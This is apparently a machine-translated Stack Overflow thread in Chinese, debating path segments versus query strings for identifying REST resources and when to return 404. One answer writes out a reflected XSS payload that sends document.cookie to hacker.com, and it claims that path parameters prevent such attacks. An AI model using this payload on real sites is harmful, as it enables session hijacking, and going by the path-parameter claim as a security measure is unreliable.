REST 资源 URL 中的 Querystring

今天我和一个同事讨论了在 REST URL 中使用查询字符串的问题:

1. http://localhost/findbyproductcode/4xxheua
2. http://localhost/findbyproductcode?productcode=4xxheua

我的立场是 URL 应该按照示例1进行设计。在 REST 中,这样做更干净,我认为这样做是正确的。在我看来,如果示例1中的产品代码不存在,那么返回一个404错误是完全正确的,而在示例2中,返回一个404错误则是错误的,因为页面应该存在。他的立场是,这并不重要,他们都做同样的事情。

由于我们都没有找到具体的证据(我承认我的搜索范围并不广泛) ,我想知道其他人对此的看法。

74984 次浏览

在典型的 REST API 中,示例 # 1更为正确。资源以 URI 表示,而 # 1更多地是这样做的。在找不到产品代码时返回404绝对是正确的行为。话虽如此,我还是要稍微修改一下 # 1,使其更具表现力一些,如下所示:

http://localhost/products/code/4xheaua

看看其他设计良好的 REST API ——例如,StackOverflow:

stackoverflow.com/questions
stackoverflow.com/questions/tagged/rest
stackoverflow.com/questions/3821663

这些都是获得“问题”的不同方式。

从客户端的角度来看,这两个 URI 之间没有区别。URI 对于客户端是不透明的。在服务器端基础设施中使用任何更干净的映射。

就 REST 而言,两者完全没有区别。我相信之所以有这么多人相信只有路径组件才能识别资源,是因为 RFC 2396中的下面一行

查询组件是 解释的资料 资源。

这一行后来在 RFC 3986中改为:

查询组件包含 非分层数据,以及 路径组件中的数据 3.3) ,用以识别资源

恕我直言,这意味着在识别资源时,查询字符串和路径段在功能上是等价的。


更新以回应史蒂夫的评论。

如果我反对形容词“清洁工”,请原谅我。这太主观了。不过你说的有道理,我忽略了问题的一个重要部分。

我认为是否返回404的答案取决于要检索的资源是什么。它是一个搜索结果的表示,还是一个产品的表示?要知道这一点,你真的需要看看链接关系,导致我们的网址。

如果 URL 应该返回 Product 表示,那么如果代码不存在,则应该返回404。如果 URL 返回一个搜索结果,那么它不应该返回一个404。

最终的结果是,URL 的外观并不是决定因素。尽管如此,查询字符串用于返回搜索结果是约定俗成的,因此当您不想返回404时,使用这种 URL 样式更为直观。

IMO 路径分量应该总是说明你想要检索什么。像 http://localhost/findbyproductcode这样的 URL 只表示我想通过产品代码检索某些内容,但具体是什么呢?

因此,您可以检索与 http://localhost/contacts的联系人和与 http://localhost/users的用户。查询字符串仅用于基于资源属性检索此类列表的子集。唯一的例外是,当这个子集基于主键被减少为一条记录时,您可以使用类似于 http://localhost/contact/[ main _ key ]的东西。

这就是我的方法,你的情况可能会有所不同:)

查询字符串在许多实际意义上是不可避免的..。考虑一下,如果搜索允许多个(可选)字段指定所有 ve,会发生什么情况。在第一种形式中,他们在等级制度中的地位将不得不被固定和填充..。

想象一下用这种格式编写一个通用的 SQL“ where 子句”... ... 然而,作为一个查询字符串,它非常简单。

对于 REST 客户机,URI 结构并不重要,因为它遵循带有语义注释的链接,从不解析 URI。

由编写路由逻辑和链接生成逻辑的开发人员,并且可能希望通过检查 URL 来理解日志,URI 结构确实很重要。通过 REST,我们将 URI 映射到资源,而不是操作 -现场论文/统一接口/资源识别

所以这两个 URI 结构可能都有缺陷,因为它们包含当前格式的动词。

1. /findbyproductcode/4xxheua
2. /findbyproductcode?productcode=4xxheua

您可以这样从 URI 中删除 find:

1. /products/code:4xxheua
2. /products?code="4xxheua"

从 REST 的角度来看,您选择哪一个并不重要。

你可以定义自己的变数命名原则,例如: “通过使用一个唯一标识符将集合减少到一个资源,唯一标识符必须始终是路径的一部分,而不是查询”。这正是 URI 标准所声明的: 路径是分层的,查询是非分层的。所以我会用 /products/code:4xxheua

从哲学上讲,书页并不“存在”。当你把书或纸放在书架上时,它们就呆在那里。它们在架子上有独立的存在。但是,页面只有在某台打开并能够根据需要提供页面的计算机上才存在。当然,页面总是可以动态生成的,所以在请求之前它不需要有任何特殊的存在。

现在从服务器的角度考虑这个问题。让我们假设它是正确配置的 Apache ——而不是仅仅将所有请求映射到文件系统的单行 python 服务器。然后 URL 中指定的特定路径可能与文件系统中特定文件的位置无关。因此,再一次,一个页面并不“存在”在任何明确的意义上。也许您请求 http://some.url/products/intel.html,然后您得到一个页面; 然后您请求 http://some.url/products/bigmac.html,然后您什么也看不到。这并不意味着只有一个文件而没有另一个。您可能没有访问其他文件的权限,因此服务器返回404,或者可能 bigmac.html是从远程麦当劳服务器服务,这是暂时关闭。

我想解释的是,404只是一个数字。它没有什么特别之处: 它可以是 40404或者 -2349.23847,我们只是同意使用 404。这意味着服务器在那里,它与你通信,它可能理解你想要什么,它没有任何东西可以回馈给你。如果您认为当服务器由于某种原因决定不提供该文件时,为 http://some.url/products/bigmac.html返回 404是合适的,那么您最好同意为 http://some.url/products?id=bigmac返回 404

现在,如果你想帮助那些使用浏览器手动编辑 URL 的用户,你可以将他们重定向到一个包含所有产品列表和一些搜索功能的页面,而不是仅仅给他们一个 404——或者你可以给他们一个 404作为代码和所有产品的链接。但是,您可以对 http://some.url/products/bigmac.html做同样的事情: 自动重定向到包含所有产品的页面。

这个问题的重点是,什么是更清洁的方法。但我想关注另一个方面,即安全性。当我开始深入研究应用程序安全性时,我发现使用 PathParams(方法1)而不是 QueryParams(方法2)可以成功地防止反射的 XSS 攻击。

(当然,反射 XSS 攻击的先决条件是恶意用户输入在 html 源中被反射回客户端。不幸的是,有些应用程序会这样做,这就是为什么 PathParams可以防止 XSS 攻击)

这样做的原因是,XSS 有效负载与 PathParams结合起来将导致由于有效负载本身内部的斜杠而产生一个未知的、未定义的 URL 路径。

http://victim.com/findbyproductcode/<script>location.href='http://hacker.com?sessionToken='+document.cookie;</script>**

而这种攻击将成功地使用 QueryParam

http://localhost/findbyproductcode?productcode=<script>location.href='http://hacker.com?sessionToken='+document.cookie;</script>

GET 有两个用例

  1. 获取唯一标识的资源
  2. 根据给定的条件搜索资源

用例1例子:

/产品/4xxheua
获取一个唯一标识的产品,如果没有找到,返回404。

用例2例子:

尺寸 = 大 & 颜色 = 红色
搜索一个产品,返回匹配产品的列表(0到多个)。

如果我们看看谷歌地图 API,我们可以看到他们使用查询字符串进行搜索。

例如:。 Http://maps.googleapis.com/maps/api/geocode/json?address=los+angeles,+ca&sensor=false

所以这两种样式对于它们自己的用例都是有效的。

在我看来,URI 路径定义资源,而可选的查询字符串提供用户定义的信息

https://domain.com/products/42

识别特定的产品

https://domain.com/products?price=under+5

可能会搜寻5元以下的产品。

我不同意那些说使用查询字符串来标识资源与 REST 是一致的。REST 的很大一部分就是创建一个模仿静态分层文件系统的 API (后端不需要这样的系统)——这就形成了直观的、语义化的资源标识符。查询字符串打破了这种层次结构。例如,手表是一个配件,有配件。在 REST 风格中,很明显是什么

 https://domain.com/accessories/watches

还有

https://domain.com/watches/accessories

使用查询字符串,

 https://domain.com?product=watches&category=accessories

不是很清楚。

至少,REST 样式比查询字符串要好,因为它需要大约一半的信息,因为参数的强顺序允许我们丢弃参数名称。